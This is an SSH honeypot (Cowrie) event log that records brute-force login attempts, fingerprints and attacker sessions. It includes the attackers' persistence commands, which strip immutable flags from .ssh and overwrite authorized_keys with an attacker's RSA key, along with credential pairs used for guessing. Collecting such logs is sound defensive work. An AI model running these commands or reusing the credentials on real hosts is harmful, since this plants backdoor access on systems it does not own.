{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:55.457258Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:23:55.721575Z","src_ip":"27.79.44.181","session":"cfc60f4d44a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":39772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f444e4039f00","protocol":"ssh","message":"New connection: 200.225.246.102:39772 (10.17.0.5:22) [session: f444e4039f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:01.499948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:01.504953Z","src_ip":"200.225.246.102","session":"f444e4039f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:01.636723Z","src_ip":"200.225.246.102","session":"f444e4039f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mythtv","password":"mythtvmythtv","message":"login attempt [mythtv/mythtvmythtv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:02.189337Z","src_ip":"200.225.246.102","session":"f444e4039f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:03.321967Z","src_ip":"200.225.246.102","session":"f444e4039f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58222,"dst_ip":"159.203.135.109","dst_port":22,"session":"5feb8abb1541","protocol":"ssh","message":"New connection: 2.57.122.210:58222 (159.203.135.109:22) [session: 5feb8abb1541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:20.523270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:20.527546Z","src_ip":"2.57.122.210","session":"5feb8abb1541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:20.637295Z","src_ip":"2.57.122.210","session":"5feb8abb1541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:20.948196Z","src_ip":"2.57.122.210","session":"5feb8abb1541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:22.053694Z","src_ip":"2.57.122.210","session":"5feb8abb1541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":48864,"dst_ip":"10.17.0.5","dst_port":22,"session":"b51fab12cdac","protocol":"ssh","message":"New connection: 27.79.44.181:48864 (10.17.0.5:22) [session: b51fab12cdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:56.576530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:56.614155Z","src_ip":"27.79.44.181","session":"b51fab12cdac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:56.886395Z","src_ip":"27.79.44.181","session":"b51fab12cdac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:58.164240Z","src_ip":"27.79.44.181","session":"b51fab12cdac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":54874,"dst_ip":"159.203.135.109","dst_port":22,"session":"f49538a83a64","protocol":"ssh","message":"New connection: 78.128.112.74:54874 (159.203.135.109:22) [session: f49538a83a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:59.124965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:59.348092Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:25:59.350888Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:00.114649Z","src_ip":"27.79.44.181","session":"b51fab12cdac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin2023","message":"login attempt [root/admin2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:00.742263Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:01.004708Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:01.007852Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:01.126491Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:26:01.465844Z","src_ip":"78.128.112.74","session":"f49538a83a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":47938,"dst_ip":"10.17.0.5","dst_port":22,"session":"155009840b80","protocol":"ssh","message":"New connection: 200.225.246.102:47938 (10.17.0.5:22) [session: 155009840b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:11.888818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:11.893203Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.021942Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qqq123456","message":"login attempt [root/Qqq123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.568983Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.858321Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.860607Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.863665Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:12.995637Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.280554Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.283219Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.415122Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.419275Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":48422,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f95369c3f8","protocol":"ssh","message":"New connection: 200.225.246.102:48422 (10.17.0.5:22) [session: 97f95369c3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.539714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.544130Z","src_ip":"200.225.246.102","session":"97f95369c3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:13.672361Z","src_ip":"200.225.246.102","session":"97f95369c3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:14.214547Z","src_ip":"200.225.246.102","session":"97f95369c3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:15.346677Z","src_ip":"200.225.246.102","session":"97f95369c3f8","protocol":"ssh"}
